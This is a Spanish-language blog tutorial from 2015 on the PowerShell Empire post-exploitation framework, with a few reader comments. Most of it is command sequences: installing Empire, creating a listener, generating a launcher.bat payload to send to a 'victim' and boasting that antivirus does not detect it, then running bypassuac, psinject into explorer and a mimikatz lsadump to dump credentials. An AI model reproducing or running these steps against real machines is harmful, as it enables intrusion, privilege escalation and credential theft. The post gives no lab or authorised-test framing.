lunes, 2 de noviembre de 2015

Empire la nueva herramienta de PowerShell & Post-Explotación



Saludos mis fieles lectores en esta oportunidad les traigo una herramienta llamada "Empire", según el autor data que es un agente de post-explotación PowerShell construido sobre comunicaciones cryptologically seguras y una arquitectura flexible, se parece mucho a metasploit, pero mas se asemeja pupy,  pero este siempre tendrá la sesiones de las victimas, esta herramienta fue presentada en el BSidesLV en 2015.

¿Para que sirve Empire?

Empire implementa la capacidad de ejecutar agentes PowerShell sin necesidad powershell.exe, los módulos de post-explotación de despliegue rápido que van desde los registradores de claves a Mimikatz y comunicaciones adaptables para evadir la detección de redes, todo envuelto en un marco centrado en la facilidad de uso.

sitio oficial: http://www.powershellempire.com/

Si desean ver la presentación del manejo de la herramienta, que en verdad es muy buena! pueden visitar el siguiente enlace:

http://www.slideshare.net/harmj0y/building-an-empire-with-powershell 

Instalación:

root@kali:~# git clone https://github.com/PowerShellEmpire/Empire.git
root@kali:~# cd Empire
root@kali:~/Empire# ./setup/install.sh

como vemos al instalar los módulos del empire automáticamente pasara a descargar los complementos que necesita, para poder ejecutar la herramienta con éxito.

en mi caso algunas ya las tengo instaladas y actualizadas, pero otras no como son las siguientes que mostrare en la siguiente imagen:

en mi caso salio un error en la sintaxis 15 referente al archivo ./setup_database.py, algunas personas siempre ignoran un pequeño error de una linea  y trata de ejecutar el Empire u otra herramienta con normalidad y al final les arrojaría los errores comunes.

root@kali:~/Empire# ./empire

yo creo que el 60% se rendiría y no ejecutaría la herramienta, hasta nosotros lo hemos hecho pero estamos aquí referentes para dar el consejo "Lean", si nos dice que no se encuentra dicho archivo lo que haremos sera entrar a la carpeta setup y ejecutar el archivo setup_database.py para instalar la base de datos

root@kali:~/Empire# cd setup
root@kali:~/Empire/setup# python setup_database.py

Una ves que términos todo este proceso, pasaremos a configurar e instalar nuestro certificado, en el archivo "cert.sh.

root@kali:~/Empire/setup# ./cert.sh

Luego de ello, nos dirigiremos a la carpeta de inicio y ejecutaremos el Empire

root@kali:~/Empire/setup# cd ..
root@kali:~/Empire# ./empire

como vemos nos cargar perfectamente sin ningún error, entonces vayamos prácticamente a la acción como se dice en Perú, "Menos floro y mas acción", vamos a configurar nuestro servidor de infección iremos a la sección "Listeners", como podemos observar añadí el nombre initial , ustedes pueden poner lo que gusten.

(Empire) > listeners
(Empire: listeners) > info
(Empire: listeners) > set Name initial
(Empire: listeners) > execute
(Empire: listeners) > list



lo que haremos sera interactuar con la plataforma y empezaremos  a buscar e interpretar un archivo ejecutable pero en extensión .bat.

(Empire: listeners) > usestager launcher_bat initial


la cual se genero en la ultima linea:
[*] Stager output written out to: /tmp/launcher.bat

entonces abriremos otra terminal y nos dirigiremos a la siguiente carpeta para mover-la al modulo del escritorio

root@kali:~# cp /tmp/launcher.bat /root/Desktop/



al ejecutar el movimiento al escritorio,le enviaremos el archivo a nuestra victima, si desean ver el código del payload pueden abrirlo con leafpad en mi caso, ya saben que siempre lo ejecuto mediante nano:

root@kali:~# cd Desktop
root@kali:~/Desktop# nano launcher.bat



bueno continuando con lo siguiente, pasaremos a enviarle el archivo a nuestra victima, en mi caso mi victima estará con un windows 7

al momento que la victima aya ejecutado nuestro archivo, que por cierto es indetectable por los AV nos dirigiremos a nuestro terminal para ver los servidores de escucha que están conectados, en nuestro caso la victima.


(Empire: stager/launcher_bat) > agents
(Empire: agents) > list

Como vemos al iniciar

Entonces entraremos al interactuar con nuestra primera victima para ello ejecutaremos la siguiente sintaxis.

(Empire: agents) > interact 3R3CUZRTP13B1HGV
(Empire: agents) > rename DC

una ves aplicado ello, pondremos el comando "help", para ver las opciones que podemos utilizar las cuales son las siguientes:

Entonces lo que debemos hacer primero es ejecutar el Bypass de UAC para poder escalar privilegios administrativos para añadir algunas de estas opciones, las cuales les serán de mucha utilidad.

(Empire: agents) >  interact DC
(Empire: agents) >  usemodule privesc/powerup/allchecks
(Empire: agents) >  info
(Empire: agents) >  execute
(Empire: agents) >  back

entonces empezara a cargar los módulos de explotación del UAC, como vemos nos aparecen el siguiente mensaje con la cual nos dice que se esta ejecutando los servicios enfocados en cada sección

una ves cargado pasaremos a ejecutar el  bypass para explotarlo en one.
(Empire: DC) > bypassuac initial
(Empire: DC) > 

luego de que cargase lo siguiente e inicie la activación, pasaremos a dirigimos a la lista e interpretaremos con el nuevo proceso llamado UTLZ1UEP1LEXHPKG la cual es el usuario administrativo interceptado.
 (Empire: DC) > agents
(Empire: agents) > interact UTLZ1UEP1LEXHPKG

nuevamente  nombraremos él nombre del servicio, como  PhishedUserHigh
(Empire: UTLZ1UEP1LEXHPKG) > rename PhishedUserHigh

para culminar vamos a mirar los procesos que corren y como vemos son los procesos administrativos para que ven que lo son.
(Empire: PhishedUserHigh) > ps
(Empire: PhishedUserHigh) > back

en mi caso escogí el proceso explorer que tiene el PID 292, para inyectar mi sesión  y como vemos hemos creado otro servicio con el nombre 1Z2NWDRLUUV1D1KK pero con el proceso cambiado que le otorgamos.

(Empire: agents) > interact PhishedUserHigh
(Empire: PhishedUserHigh) > psinject initial 392
(Empire: management/psinject) > execute












ahora pasaremos a dumpear del sistema mediante mimikatz, en este caso escogere el usuario administrativo PhishedUserHigh 

(Empire: agents) > interact PhishedUserHigh
(Empire: PhishedUserHigh) > usemodule credentials/mimikatz/lsadump
(Empire: credentials/mimikatz/lsadump) > info
(Empire: credentials/mimikatz/lsadump) > execute
(Empire: credentials/mimikatz/lsadump) > back

Esperaremos a que cargue el modulo de dumpeo................ : )

Esto fue todo por ahora, espero haberles ayudado mucho quise expandir mas este POST, porque me falto algunas opciones mas, pero yo los saque de la referencia de la presentación, ustedes pueden verlo y aprender mas sobre esta herramienta, en fin.

Un saludo !!! Happy Hackingª

5 comentarios:

  1. Enter server negotiation password, enter for random generation:
    que coloco en este campo,disculpa

    ResponderEliminar
  2. amigo porque no me respondes.te estoy pidiendo una ayuda

    ResponderEliminar
    Respuestas
    1. Hola, recien veo tu mensaje es la contraseña que le pondras a tu servidor, en mi caso fue "ADMIN"

      Saludos

      Eliminar
    2. omar fiel a tu canal y estoy con esto del pentesting,y llevo 4 meses pero la verdad estoy dandole duro,pero no entiendo cuando dices que contraseña a servidor a cual server es al atacante..porfa la ignorancia...

      Eliminar
    3. es la contraseña de tu servidor, confórmate con eso, saludos

      Eliminar